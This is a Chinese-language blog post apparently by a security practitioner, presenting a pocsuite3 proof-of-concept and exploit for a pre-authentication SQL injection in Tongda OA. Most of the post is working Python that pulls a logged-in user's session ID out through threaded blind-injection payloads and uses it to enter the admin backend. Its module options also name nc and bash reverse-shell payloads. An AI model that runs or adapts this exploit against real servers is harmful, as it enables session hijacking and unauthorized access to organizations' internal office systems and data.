这里练手写了个最近实战复现成功的洞的poc、exp
通达OA前台任意用户登录漏洞,具体过程可以看下面文章的通达OA前台任意用户登录部分
html sql注入_通达OA前台任意用户登录,文件上传和文件包含,SQL注入复现
整个步骤为
/general/document/index.php/recv/register/insert
路径存在SQL注入- SQL注入获取PHPSESSID
- 使用获得的PHPSESSID修改cookie进入后台
0x01 poc编写
首先是验证verify部分,通过判断网址加/general/document/index.php/recv/register/insert
路径返回码是否为500来判断,但是这样依旧会误报,因为有的网站访问所有路径都是500,应该加上判断文件内容才准确
def _verify(self):
result = {}
path = "/general/document/index.php/recv/register/insert"
url = self.url + path
payload = "/general/document/index.php/recv/register/insert"
resq = requests.get(url, timeout=30)
if resq.status_code == 500 and "http" in url:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
因为页面报错是这样的,所以加个页面内容判断即可
最后改成这样
def _verify(self):
result = {}
path = "/general/document/index.php/recv/register/insert"
url = self.url + path
payload = "/general/document/index.php/recv/register/insert"
resq = requests.get(url, timeout=30)
if resq.status_code == 500 and "An Error Was Encountered" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
这样verify部分就完成了
0x02 exp编写
exp部分用的是别人写的exp脚本改的,原本的exp脚本为,最下面输入网址和第几个用户即可
import requests
import _thread
import time
requests.packages.urllib3.disable_warnings()
UNAME_length = 26
USERUID = []
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}
def get_url(url, num, uid):
global UNAME_length
global USERUID
litgh = 48
right = 120
tmp = 0
while litgh <= right:
mid = int((litgh + right) / 2)
if tmp == mid:
break
else:
tmp = mid
flag = run_payload(url, uid, num, mid)
if flag:
litgh = mid
else:
right = mid
USERUID[num - 1] = chr(mid)
print("session: ", num, chr(mid))
def run_payload(url, uid, num, mid):
try:
payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
req = requests.post(url, headers=header, data=payload, verify=False, timeout=20,
allow_redirects=False)
if req.status_code == 302:
return True
elif req.status_code == 500:
return False
elif req.status_code != 500:
return run_payload(url, uid, num, mid)
except Exception as e:
return run_payload(url, uid, num, mid)
def get_uname(url, uid):
USERUID.clear()
[USERUID.append("") for one in range(0, UNAME_length)]
for num in range(1, UNAME_length + 1):
_thread.start_new_thread(get_url, (url, num, uid,)) # 多线程
tmp = 0
while 1: # 等待跑完26位session id
flag = 0
for num in range(0, len(USERUID)):
if USERUID[num] != '':
flag += 1
uname = ""
for num in range(0, len(USERUID)):
uname += str(USERUID[num])
if flag != tmp:
print(f"已完成: {flag}/{UNAME_length} SID:{uname} {USERUID} ")
tmp = flag
if flag == UNAME_length:
break
time.sleep(0.5)
return uname
def main(url):
url += "/general/document/index.php/recv/register/insert"
print(url)
uid = 1 # 获取第几个用户的session
uname = get_uname(url, uid - 1)
print("UNAME = ", uname)
url = "http://test.com"
main(url)
我把它改为了一个class类名字为get_cookie,只需要payload = get_cookie(url).cookies()
即可调用该exp并返回获得的cookie,如下所示
class get_cookie(object):
url = ""
requests.packages.urllib3.disable_warnings()
UNAME_length = 26
USERUID = []
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}
def __init__(self, url):
self.url = url
def get_url(self, url, num, uid):
self.UNAME_length
self.USERUID
litgh = 48
right = 120
tmp = 0
while litgh <= right:
mid = int((litgh + right) / 2)
if tmp == mid:
break
else:
tmp = mid
flag = self.run_payload(url, uid, num, mid)
if flag:
litgh = mid
else:
right = mid
self.USERUID[num - 1] = chr(mid)
# print("session: ", num, chr(mid))
def run_payload(self, url, uid, num, mid):
try:
payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
allow_redirects=False)
if req.status_code == 302:
return True
elif req.status_code == 500:
return False
elif req.status_code != 500:
return self.run_payload(url, uid, num, mid)
except Exception as e:
return self.run_payload(url, uid, num, mid)
def get_uname(self, url, uid):
self.USERUID.clear()
[self.USERUID.append("") for one in range(0, self.UNAME_length)]
for num in range(1, self.UNAME_length + 1):
_thread.start_new_thread(self.get_url, (url, num, uid,)) # 多线程
tmp = 0
while 1: # 等待跑完26位session id
flag = 0
for num in range(0, len(self.USERUID)):
if self.USERUID[num] != '':
flag += 1
uname = ""
for num in range(0, len(self.USERUID)):
uname += str(self.USERUID[num])
if flag != tmp:
# print(f"已完成: {flag}/{self.UNAME_length} SID:{uname} {self.USERUID} ")
print("[+] "+uname)
tmp = flag
if flag == self.UNAME_length:
break
time.sleep(0.5)
return uname
def cookies(self):
path = "/general/document/index.php/recv/register/insert"
self.url += path
uid = 1 # 获取第几个用户的session
uname = self.get_uname(self.url, uid - 1)
return uname
那么attack部分就非常简单了
def _attack(self):
result = {}
url = self.url
payload = get_cookie(url).cookies()
if len(payload) == 26:
result['VerifyInfo'] = {}
# result['VerifyInfo']['URL'] = url
# result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
直接调用就可以获得cookie
0x03 整合及使用
放在该路径即可
然后就可以调用了
python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --verify
python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --attack
代码部分
from collections import OrderedDict
from urllib.parse import urljoin
import _thread
import time
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['1.1']
name = '通达OA'
appPowerLink = '通达OA'
appName = '通达OA'
appVersion = '通达OA'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
通达oa前台存在SQL注入可获取用户session,伪造session登录进入后台
'''
samples = []
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _verify(self):
result = {}
path = "/general/document/index.php/recv/register/insert"
url = self.url + path
payload = "/general/document/index.php/recv/register/insert"
resq = requests.get(url, timeout=30)
if resq.status_code == 500 and "http" in url:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
def _attack(self):
result = {}
url = self.url
payload = get_cookie(url).cookies()
if len(payload) == 26:
result['VerifyInfo'] = {}
# result['VerifyInfo']['URL'] = url
# result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
class get_cookie(object):
url = ""
requests.packages.urllib3.disable_warnings()
UNAME_length = 26
USERUID = []
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}
def __init__(self, url):
self.url = url
def get_url(self, url, num, uid):
self.UNAME_length
self.USERUID
litgh = 48
right = 120
tmp = 0
while litgh <= right:
mid = int((litgh + right) / 2)
if tmp == mid:
break
else:
tmp = mid
flag = self.run_payload(url, uid, num, mid)
if flag:
litgh = mid
else:
right = mid
self.USERUID[num - 1] = chr(mid)
# print("session: ", num, chr(mid))
def run_payload(self, url, uid, num, mid):
try:
payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
allow_redirects=False)
if req.status_code == 302:
return True
elif req.status_code == 500:
return False
elif req.status_code != 500:
return self.run_payload(url, uid, num, mid)
except Exception as e:
return self.run_payload(url, uid, num, mid)
def get_uname(self, url, uid):
self.USERUID.clear()
[self.USERUID.append("") for one in range(0, self.UNAME_length)]
for num in range(1, self.UNAME_length + 1):
_thread.start_new_thread(self.get_url, (url, num, uid,)) # 多线程
tmp = 0
while 1: # 等待跑完26位session id
flag = 0
for num in range(0, len(self.USERUID)):
if self.USERUID[num] != '':
flag += 1
uname = ""
for num in range(0, len(self.USERUID)):
uname += str(self.USERUID[num])
if flag != tmp:
# print(f"已完成: {flag}/{self.UNAME_length} SID:{uname} {self.USERUID} ")
print("[+] "+uname)
tmp = flag
if flag == self.UNAME_length:
break
time.sleep(0.5)
return uname
def cookies(self):
path = "/general/document/index.php/recv/register/insert"
self.url += path
uid = 1 # 获取第几个用户的session
uname = self.get_uname(self.url, uid - 1)
return uname
register_poc(DemoPOC)